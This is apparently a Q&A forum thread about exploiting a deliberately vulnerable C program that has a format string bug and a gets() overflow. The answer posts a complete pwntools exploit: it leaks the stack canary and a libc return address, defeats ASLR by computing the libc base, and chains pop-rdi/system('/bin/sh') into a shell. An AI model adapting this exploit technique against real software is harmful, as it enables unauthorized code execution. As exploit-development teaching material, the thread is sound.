0

I've been trying for some time to write an exploit to a very simple program which has a format string and a buffer overflow vulnerability. This program has NX, SSP and ASLR.

#include <stdio.h>

int main(int argc, char *argv[]){
    char buff[64];
    printf(argv[1]);
    printf("\n");
    gets(buff);
    return 0;
}

I successfully bypassed this 2 first one's, but I can't beat ASLR.

NOTE: Bruteforce isn't an option

My idea is to leak a libc function and subtract the offset, but I don't know how to do it with a format string vulnerability. Also, I must say that null-bytes can't be written, as input is got from the arguments.

Questions:

Is this even exploitable?

If it is, how can I leak a GOT/PLT entry for calculating the libc base address?

I'm on the right track?

  • 1
    Hint: what does main return to? – Andrea Biondo Jan 19 '18 at 22:50
  • returns to __libc_start_main which calls exit. Maybe if I could get the address of exit at runtime, I could subtract its offset (0x3a030) and get the libc base address. But I still don't know how to leak this address... – L00P3R Jan 20 '18 at 11:30
  • 1
    __libc_start_main is in libc, and you can read main's retaddr via format string (same way as I presume you leak the stack canary). Now you have a libc addr, subtract the offset to get the base. – Andrea Biondo Jan 20 '18 at 15:24
  • Realized about this like 4 min ago, thank you anyway. I'm fixing a couple of things in my exploit, but this should work. – L00P3R Jan 20 '18 at 16:58
1

Thanks to Andrea, who helped me in the comments, I've been finally able to write a reliable exploit. The clue for achieving it, was to look carefully at the stack. There, I could find the address of a function __libc_start_main()+240 which I could use later for calculating the base address of libc by subtracting the offset. Here is my full exploit, I hope this helps other people to understand how to defeat ASLR, DEP and SSP :)

#!/usr/bin/env python
from pwn import *

_libc_start_main_offset = 0x0000000000020740

# GADGETS of /lib/x86-64/libc-2.23.so

POPRDI = 0x0000000000042c0d

# leak for getting stack canary and __libc_start_main
leak = "%17$p,%19$p"

# padding
padding = "A"*72

# pause for attaching with gdb for debugging purposes
# pause()

# start the process
p = process(["./vuln", leak])

# First address is the cookie
cookie = p.recvuntil(",")

# And the other the libc funtion address
_libc_start_main_address = p.recv()

# Print the cookie
log.info("Cookie: "+cookie[:len(cookie)-1])

# We parse the cookie
cookie = cookie[2:len(cookie)-1].decode("hex")[::-1]

# We parse the libc function address
_libc_start_main_address = u64(("0000" + _libc_start_main_address[2:len(_libc_start_main_address)-1]).decode("hex")[::-1])-240

# We print and calculate the libc base address
log.info("libc base address: "+hex(_libc_start_main_address-_libc_start_main_offset))
libc_base = _libc_start_main_address-_libc_start_main_offset
system = 0x0000000000045390 + libc_base

POPRDI += libc_base
binsh = libc_base + 0x18cd17

log.info("binsh is at: "+hex(binsh))

# Making the payload
payload = ""
payload += padding
payload += cookie
payload += "AAAAAAAA"
payload += p64(POPRDI)
payload += p64(binsh)
payload += p64(system)
# Sending the exploit
p.sendline(payload+"\n")

# Spawning shell
p.interactive()

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.